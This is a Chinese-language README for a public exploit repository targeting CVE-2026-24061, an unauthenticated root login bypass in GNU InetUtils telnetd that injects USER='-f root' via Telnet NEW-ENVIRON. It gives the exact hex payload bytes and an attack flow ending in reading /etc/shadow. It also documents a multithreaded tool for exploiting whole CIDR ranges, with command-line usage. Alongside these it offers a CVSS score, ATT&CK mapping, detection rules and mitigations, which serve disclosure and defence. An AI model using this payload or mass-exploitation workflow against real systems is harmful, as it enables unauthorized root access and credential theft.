GNU InetUtils telnetd - 通过 NEW-ENVIRON 变量注入实现未认证远程 Root 权限
CVE-2026-24061 是 GNU InetUtils 所分发的 telnetd 守护进程中的一个严重认证绕过漏洞。该缺陷存在于初始协议握手期间对 Telnet NEW-ENVIRON 选项(RFC 1572)的处理过程中。
根本原因是在将客户端提供的环境变量传递给 login(1) 程序之前,未能对其进行净化处理。当 Telnet 守护进程收到包含变量 USER(值为 -f root)的 NEW-ENVIRON IS 子协商数据包时,会将该未净化的值直接传递给系统 login 二进制文件。
在 login 接受 -f 标志(强制登录,无需密码验证)的系统上,这将导致远程攻击者获得未认证的 root 会话。
此类漏洞具有历史先例:SysV telnetd 中的 CVE-2001-0797 以及 1994 年著名的 Linux telnetd -f 绕过漏洞,均利用了相同的根本性缺陷——未能净化通过环境变量传递给特权二进制文件的参数。
无需任何凭据。无需任何先前访问权限。单个网络数据包序列即可获得 root 权限。
GNU InetUtils telnetd 处理 NEW-ENVIRON(选项代码 0x27,依据 RFC 1572)子协商以收集客户端提供的环境变量。这些变量被组装成参数向量,并在生成 login(1) 进程时传递给 execve(2)。
该漏洞的触发过程如下:
IAC DO NEW-ENVIRON,向客户端请求环境变量。IAC WILL NEW-ENVIRON。IAC SB NEW-ENVIRON SEND IAC SE。IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd 构造 login 调用为 login -f root。login(1) 将 -f 解释为"强制登录,跳过认证",并以指定用户(root)身份登录,无需密码。| 步骤 | 方向 | Telnet 字节(十六进制) | 含义 |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root 有效许多 Linux 系统上的 login(1) 二进制文件接受 -f <user> 标志用于"预认证"登录,历史上被终端多路复用器和 rlogin 使用。当 telnetd 构建其 exec 调用时,未能去除前导连字符或验证环境变量值中类似选项的字符串,从而无意中将攻击者控制的标志直接传递给 login。
实际调用变为:
execve("/bin/login", ["login", "-f", "root"], envp);
攻击者 易受攻击的 telnetd(端口 23)
| |
|------- TCP SYN(端口 23)----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet 横幅 + IAC DO NEW-ENVIRON ----------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd 调用: login -f root] |
| |
|<------ Root shell 提示符 (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow 内容 ---------|
前提条件:
telnetd(TCP/23 开放)inetutils 版本login(1) 二进制文件支持 -f 标志(大多数 Linux 发行版的标准配置)| 软件 | 受影响版本 | 状态 |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x(具体补丁版本待定) | 易受攻击 |
| 分发未打补丁 GNU inetutils 的发行版 | 多种 | 请查阅供应商公告 |
请验证您的发行版是否提供了已打补丁的版本。许多现代系统默认禁用 Telnet;暴露风险要求显式运行
telnetd。
| 指标 | 值 |
|---|---|
| CVSS v3.1 基础评分 | 9.8(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 不变 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |
| 向量字符串 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK ID | 战术 | 技术 | 相关性 |
|---|---|---|---|
| T1190 | 初始访问 | 利用面向公众的应用程序 | 通过网络直接利用 telnetd |
| T1059 | 执行 | 命令和脚本解释器 | 利用后执行 shell |
| T1078.004 | 权限提升 / 防御规避 | 有效账户:本地账户 | 认证绕过产生有效的 root 会话 |
| T1548 | 权限提升 | 滥用权限提升控制机制 | 滥用 login -f 标志绕过 PAM/认证 |
| T1046 | 发现 | 网络服务发现 | PoC 中的大规模扫描组件 |
要求: Python 3(仅标准库,零外部依赖)。
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
无需 pip install。两个脚本仅使用 Python 标准库。
poc_cve_2026_24061.py # 简单 PoC(约 100 行)- 理解漏洞原理
cve_2026_24061.py # 工业化利用工具 - 多线程、CIDR、CSV/JSON 导出
scripts/
generate_signatures.py # 从载荷自动生成 Snort/Suricata + Sigma 规则
generate_misp_event.py # 生成可导入 MISP 的事件 JSON
generate_stix_bundle.py # 生成 STIX 2.1 包(MISP、OpenCTI、TAXII)
signatures/
snort.rules # Snort/Suricata 检测规则(自动生成)
sigma.yml # 用于 SIEM 的 Sigma 规则(自动生成)
indicators/
misp_event.json # MISP 事件 - 通过 事件 > 添加事件 > 导入 导入
stix_bundle.json # STIX 2.1 包 - 11 个对象(漏洞、指标、ATT&CK、CoA)
poc_cve_2026_24061.py:最小化、可读、教育性。单个目标、单个函数、零抽象。阅读此文件以准确理解漏洞在协议层面的工作原理。cve_2026_24061.py:用于渗透测试的工业化利用工具。多线程,支持 CIDR 范围、文件输入、CSV/JSON 导出、静默模式、自定义用户。利用单个主机。代码刻意保持最小化,以便您可以从头到尾阅读并理解完整的攻击链。
# 基本用法
python3 poc_cve_2026_24061.py 192.168.1.100
# 自定义端口
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| 参数 | 默认值 | 描述 |
|---|---|---|
-t / --target | - | 单个 IP、主机名或 CIDR 范围 |
-f / --file | - | 包含 IP/CIDR 的文件(每行一个,# 为注释) |
-T / --threads | 10 | 并发线程数 |
-p / --port | 23 | 目标 Telnet 端口 |
--timeout | 5 | 套接字超时时间(秒) |
--user | root | 用于 -f 载荷的用户名 |
-o / --output | - | 将结果导出到 CSV 文件 |
--json | - | 将结果导出到 JSON 文件 |
-q / --quiet | 关闭 | 静默模式:仅打印易受攻击的目标(每行一个) |
--no-color | 关闭 | 禁用 ANSI 彩色输出 |
| 状态 | 含义 |
|---|---|
[VULN] | 主机确认易受攻击 - 已获得 root shell |
[SAFE] | 主机有响应但认证未被绕过 |
[CLOS] | 端口关闭或连接被拒绝 |
[ERR ] | 扫描期间发生套接字或协议错误 |
CSV 输出列:ip:port, status, message
该脚本使用 Python 原生实现完整的 Telnet NEW-ENVIRON 协商状态机,不依赖外部 Telnet 库:
IAC 命令序列,并以 WILL NEW-ENVIRON 响应 DO NEW-ENVIRON。SB NEW-ENVIRON SEND 子协商后,发送注入的载荷(USER = "-f root")。Login incorrect 或 Password: 的情况下,出现 uid=0(root) 或 shell 提示符(#)。id\n 并检查响应中是否包含 uid=0(root) 作为二次确认。结果以彩色状态标签输出到标准输出。可选的 CSV 导出记录所有发现以供后续处理。
完全禁用 Telnet。 Telnet 以明文传输所有数据。请改用 SSH。
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
应用供应商补丁。 一旦可用,请从您的发行版安装已打补丁的 inetutils 版本。
在外围阻止 TCP/23。 应用防火墙规则以拒绝入站 Telnet 连接。
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop